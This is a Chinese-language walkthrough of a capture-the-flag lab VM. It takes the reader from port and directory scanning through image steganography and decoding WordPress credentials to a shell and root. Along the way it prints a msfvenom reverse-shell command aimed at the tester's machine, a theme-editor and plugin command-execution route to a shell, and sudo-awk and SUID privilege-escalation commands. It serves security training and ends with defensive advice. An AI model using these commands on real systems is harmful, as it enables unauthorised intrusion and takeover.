本文为系列文章第三篇,难度为中级,本篇需要打开思维,如何利用已收集的信息拿到更多的信息,信息收集的能力是关键。在这里,你将会了解到图片隐写的技术,如何使用msfvenom(美少妇)生成木马或是利用wordpress插件的命令执行漏洞,通过metasploit获取目标主机的权限,之后使用linux中的awk进行提权。
1、信息收集:
对目标进行端口扫描,探测开放的端口及应用,目标主机开放了22端口和80端口。
从80端口(web服务)入手,进行目录扫描,发现可用目录/img和wordpress应用,访问/img发现一张图片,下载该图片后,使用strings命令发现图片中隐藏的关键信息(之后发现是目录),访问新发现的目录得到一串字符串,解密后得到一组用户名密码(为wordpress的用户名密码),进入wordpress后台界面后使用msfvenom生成木马上传或者利用wordpress插件的命令执行漏洞,再通过metasploit获取目标权限。
2、提权:
拿到服务器权限后一般是低权限账号,那么就需要提权,本次通过linux的awk进行提权拿到root权限。
靶机难度:中级
靶机描述:
Flag: boot-root
Learing: exploit | web application Security | Privilege Escalation
Contact.. https://www.linkedin.com/in/rahulgehlaut/
This works betterin VirtualBox than VMware
靶机地址
靶机ip:192.168.1.106
Kaliip:192.168.1.104
用到的知识点、工具和漏洞:
Nmap:一款开源的端口扫描器,用于端口扫描及服务识别
Dirbuster:一款目录扫描器,kali中自带,用于目录探测
图片隐写:将信息隐写至图片文件中的技术
Metasploit:集成了大量攻击脚本的安全框架,并固化了利用流程,kali中自带
Msfvenom:简称美少妇,用于生成木马的工具,kali中自带
wordpress插件反弹shell:wordpress是一款国外免费开源的博客软件和内容管理系统
主机探测:netdiscover-i eth0 -r 192.168.1.0/24
端口探测及服务识别:nmap-sS -sV -T5 -A 192.168.1.106
当前靶机开放了22和80端口,首先以80的web服务为突破口。
Ofcourse 先扫波目录,这里使用的kali自带的dirbuster
/css和/html目录下没发现啥有用的信息,/img目录下发现1个图片,好明显的的提示呀
打开看看,好像也没啥有用的信息,先下载下来到本地,网上搜了下有种图片隐写的技术,可能有突破口。
使用strings命令查看一下,发现了疑似密码的字符串,先记录下。
刚才扫目录还发现了wordpress,先用wpscan扫一波看看,扫出一个web用户,于是尝试用刚才的密码去登录下试试,没啥用。看来那个不是密码,那会是什么,肯定有什么作用。
各种尝试,又试了一下url,果然是的,发现了新大陆呀,找到了flag2
打开一看似乎是某种加密,网上搜了一下是brainfuck
于是在网上找了brainfuck在线解码网站,得到一对用户名密码
看来这就是wordpress的用户名密码了。(其实到这里已经可以走捷径了,后面提权的时候才发现,这里可以直接使用ssh登录进去)登录进去后发现该用户权限挺大的。
这里有两种getshell的方式:
1.是通过Appearance下的themeeditor模块添加php反弹shell的代码,再用metasploist监听获取shell
2.是通过Activity monitor的命令执行漏洞反弹shell,这也是作者写的walkthrough使用的方式。
我这里把两种方式都试过了,均可getshell。接下来我来展示第1种方法,也是常规方法,在具有后台管理权限时如何getshell。
首先进入到themeeditor目录下
在右边文件目录下找1个php页面填充反弹shell的代码,我这里在404.php里填充,php代码使用msfvenom生成
Msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.104 lport=1234 -oshell.php
这里lhost填写的是kali的ip,之后metesploist的信息要与这里一致
将php代码填充到404.php里,这里注意要将前面的/*去掉,不然代码无法生效,之后点击保存。
现在打开metasploit,准备反弹shell
然后网页通过访问
http://192.168.1.106/wordpress/wp-content/themes/twentynineteen/404.php即可反弹shell
拿到shell第1件事就是获取一个标准shell,可通过以下命令获取python-c import pty; pty.spawn("/bin/bash")
然后展示第2种反弹shell的方法,进入Activitymonitor目录下有个Tools
确实可以存在命令执行,但该输入框存在长度限制,这里使用浏览器修改前端参数绕过
然后使用wget下载php代码,然后开启metasploit监听,网页通过phpxxx.php执行php代码反弹shell。
kali上使用python-m SimpleHTTPServer 80开启临时web服务,然后网页上点击lookup即可下载php代码
使用之前Metasploit设置的参数继续监听
成功反弹shell,到此两种方法都已演示完毕,如果有其他方法,大家可以一起交流
下面需要进行提权,因为刚得到的shell权限较低,得想办法获取高权限账户,最终获取root权限。
Cat/etc/passwd查看一下系统存在的用户
发现一个用户叫web,之前wordpress得到一组用户名密码就是web的,于是尝试切换用户,没想到成功切换了。(做到这里发现,之前完全可以通过ssh直接登录,也就省略了反弹shell的步骤,不过要不是凑巧账户密码一样也不能成功,所以这里说明账号口令尽量不要设置成相同口令,然而事实上我们很多口令都是设成一样的,警示!)
接下来看看home目录下有啥东西,找到第三个flag
最后就是如何获取root权限,有以下几个思路
Sudo -l 查询具有sudo权限命令,然后提权
SUID提权,find / -perm -u=s -type f 2>/dev/null
通过在/etc/passwd添加一个root权限的账户进行提权,
find / -writable -type f 2>/dev/null 查找可利用的可写文件
内核提权
这里使用sudo-l 查询有哪些sudo权限命令
这里需通过awk提权
如此看来可以通过该命令提权
sudo/usr/bin/awk {system("/bin/bash")}
获取最后一个flag
对于存储的用户名密码使用强加密算法
不信任用户的输入,进行过滤或白名单校验
对于linux中的某些命令不要赋予sudo权限
文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。
转载请注明本文地址:https://www.ucloud.cn/yun/130064.html
摘要:本文将分享软件基本用法及文件进程注册表查看,这是一款微软推荐的系统监视工具,功能非常强大可用来检测恶意软件。可以帮助使用者对系统中的任何文件注册表操作进行监视和记录,通过注册表和文件读写的变化,有效帮助诊断系统故障或发现恶意软件病毒及木马。 ...
阅读 1346·2023-01-11 13:20
阅读 1684·2023-01-11 13:20
阅读 1132·2023-01-11 13:20
阅读 1858·2023-01-11 13:20
阅读 4099·2023-01-11 13:20
阅读 2704·2023-01-11 13:20
阅读 1385·2023-01-11 13:20
阅读 3594·2023-01-11 13:20